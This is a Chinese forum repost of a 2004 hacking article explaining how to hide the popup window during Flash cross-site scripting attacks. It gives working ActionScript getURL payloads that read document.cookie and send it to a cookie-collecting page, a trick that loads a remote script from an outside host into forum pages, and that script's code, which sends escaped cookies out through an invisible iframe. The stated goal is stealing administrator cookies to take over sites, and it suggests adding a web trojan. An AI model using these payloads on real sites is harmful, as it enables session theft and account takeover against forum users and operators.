QQ登录

只需要一步,快速开始

 注册地址  找回密码
查看: 2462|回复: 0
打印 上一主题 下一主题

也说跨站脚本攻击的隐藏---如何防止Flash跨站攻击弹出IE窗口

[复制链接]
字体大小: 正常 放大
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

跳转到指定楼层
1#
发表于 2004-11-21 00:10 |只看该作者 |倒序浏览
|招呼Ta 关注Ta

by: 冰狐浪子    http://www.icyfoxlovelace.com

, f" S% ^ G- k) M2 j( {

前些天一直忙着学习WIN32汇编,一直懒得写文章,这些天来好像Flash跨站攻击闹的挺凶的,但在实施Flash跨站攻击时的那个弹出的IE窗口很容易引起别人的怀疑,而使得Flash跨站攻击失败,这的确让人多少有点头疼,大家是不是也一直在寻找实施Flash跨站攻击时不弹出IE窗口的方法来隐藏自己的攻击行为呢?下面大家和我一起来解决这个不大不小的问题,让Flash跨站攻击更完美吧!

) x# Z8 E! c4 u+ h9 ?- B+ h' y

一般来说大家在进行Flash跨站攻击时都是自己做一个Flash动画,并在第一帧中加入用于跳转到其他URL的AtionScript脚本函数,如下:

/ p3 ?$ Q) y8 ^

getURL("JavaScript:window.open('http://用于收集Cookie的网页地址?'+document.cookie)","_self")

, f) K$ z( R+ R7 O: L* q: m# o

然后把这个Flash动画置于论坛中的签名、贴子或短信消息中,用来获得管理员或用户的Cookie,从而得到管理权限,进一步伺机控制整个站点,最终达到自己的目的。我们可以看到在整个跨站攻击中最重要的就是这个AtionScript脚本啦!也就是这个脚本中用到的代码打开了一个我们又爱又恨的窗口,所以我们也只能从改造这个脚本代码来实现隐藏或者是去掉弹出的IE窗口,除此外别无它法!

9 S6 s4 R, T0 `1 [8 {* \& G) ?

我们先分析一下上面的AtionScript脚本,它使用AtionScript脚本函数"getURL"跳转到一个使用JavaScript协议的URL(JavaScript协议后面就是我们非常熟悉的JavaScript脚本代码),在JavaScript中使用document.cookie的到Cookie,并把Cookie和一个用于收集Cookie的网页地址连成一个http协议的URL地址,最后使用window.open打开合成的URL地址,从而把Cookie用GET方式发送到用于收集Cookie的网页,并记录下来。

! y) c* \, Y: |, i! y/ o9 v

通过上面的分析我们进一步了解那个弹出的IE窗口是由于JavaScript协议中的代码window.open所生成的,相信大家都知道window.open的第二个参数用来指定打开的窗口的名字,其通用名称有"_media (IE6.0 在浏览器左边的媒体面板内打开)"、"_blank (在新窗口中打开)"、"_parent (在当前框架的父框架内打开。假如当前框架无父框架,此参数值等同于 _self)"、"_search (IE5.0 在浏览器左边的搜索面板内打开)"、"_self(在当前窗口中打开,覆盖当前文档)"、"_top (在所有框架之外的最顶层窗口中打开 。假如当前窗口无框架结构,此参数值等同于 _self )"等几种,如果我们以"_search"来打开窗口,不是就没有了弹出的IE窗口了吗?AtionScript脚本改为:

* K% r$ R: P7 p6 b4 e6 P2 u' |

getURL("JavaScript:window.open('http://用于收集Cookie的网页地址?'+document.cookie,'_search')","_self")

L2 y4 S2 \* J8 a# Z2 j

当然,这样做会打开搜索面板,也会引起怀疑,但却可以躲过那些关闭弹出窗口软件的追杀!姑且也算一种方法吧!

7 O* a3 b* P3 Q+ b) _1 X% G

如果仅仅是上面所说的,相信不少读者要把我。。。。。。

& W8 v7 n: T) H: Q, f7 W

看到这里聪明的你是不是想到了点解决的思路?对!既然支持JavaScript啦,还有啥东东会不能解决呢?JavaScript真的是好处多多呀!

$ i* c( _( ~+ s2 I

如果你曾看了我的那篇"打造一个完美的IE网页木马"的文章,并且你对其中的代码深深理解的话,你可以自己先去想象一下啦!呵呵......

4 o& Y4 C* ]. b3 \6 q! O3 [8 R+ Z o

在那篇文章中有下面这样一段代码:

0 x w/ T7 o+ n

jsurl="http://www.godog.y365.com/wodemuma/icyfox.js".replace(/\//g,'//'); / H: h, J5 [" j" jwindow.open("file:javascript:document.all.tags('SCRIPT')[0].src='"+jsurl+"';eval();","icyfoxlovelace");

5 T8 U$ j' a; B2 E

使用了javascript协议把自己网站上的一个js代码文件插入到了本地文件中,同样的道理我们也可以用它把一个js代码文件插入到进行跨站攻击的论坛网页中,相应的AtionScript脚本改为:

6 F. @1 i$ R& i0 Y! U+ p

getURL("JavaScript:document.all.tags('SCRIPT')[0].src='http:\/\/www.godog.y365.com\/wodemuma\/icyfox.js';eval();","_self")

$ Q7 v9 V) L$ v- w8 q9 E+ i

其中icyfox.js得内容如下:

$ ?( M; k/ T! T0 Q/ [0 ?+ Q

cookieurl="http://用于收集Cookie的网页地址?cookie="+escape(document.cookie);0 w/ s! N ~3 O2 h. j: q /*这里使用了escape()对cookie编码,用来防止cookie中的一些特殊字符*/- E3 B: A+ ^: {( _; r document.body.insertAdjacentHTML('beforeEnd','<iframe WIDTH=0px HEIGHT=0px style="display:none;" src="'+cookieurl+'"><\/iframe>'); * L9 R5 {7 E) s' G; m& ?+ s/*这里使用了insertAdjacentHTML在body的最后插入了一个不可见的框架*/

8 A! ^( l# B4 ^* [2 D

这里主要是利用了可以在一个网页中引入不同域中的javascript代码文档,而且所引入的javascript代码文档会和本网页融为一体的特点!

% K$ Q _7 T. e5 R3 g+ z. @/ h4 E

好啦!至此Flash跨站攻击弹出IE窗口的问题算是解决啦!当然如果你愿意,在icyfox.js中加个网页木马之类的我也无话可说! + I/ B, r0 R5 W& a- O& z 最后我再顺便说一句,它同样可以用于在其他类型的跨站脚本功击中隐藏弹出的IE窗口!比起利用Microsoft.XMLHTTP控件发送COOKIE要随意的多,因为它不会像Microsoft.XMLHTTP控件那样只能发给当前服务器,还有焦点上czy的"利用Microsoft.XMLHTTP控件发送COOKIE"一文中提到这样一句话:

( Y! [# K) t; `/ W3 ]! D" s/ J

"以前我想了一个在网页中用insertAdjacentHTML方法来注入HTML语句的办法勉强可以作到发送COOKIE不出现IE窗口,但是在实际使用中有时会遇到IE出错。"

+ [& Q* Q& l, G) |/ |5 {; `5 b' v

具我分析是因为在COOKIE中存在了一些特殊字符,而czy没有正确处理或是编码,才会在实际使用中有时会遇到IE出错,所以上面代码我用了escape()对cookie编码,在接受到cookie后请注意用unescape()来解码!

3 N' S1 _# C: T+ x4 S" R' }( R8 G% p

--------------icyfoxlovelace/冰狐浪子

( L4 f ]- N( i

zan
转播转播0 分享淘帖0 分享分享0 收藏收藏0 支持支持0 反对反对0 微信微信
您需要登录后才可以回帖 登录 | 注册地址

qq
收缩
  • 电话咨询

  • 04714969085
fastpost

关于我们| 联系我们| 诚征英才| 对外合作| 产品服务| QQ

手机版|Archiver| |繁體中文 手机客户端  

蒙公网安备 15010502000194号

Powered by Discuz! X2.5   © 2001-2013 数学建模网-数学中国 ( 蒙ICP备14002410号-3 蒙BBS备-0002号 )     论坛法律顾问:王兆丰

GMT+8, 2026-6-11 13:48 , Processed in 0.485616 second(s), 52 queries .

回顶部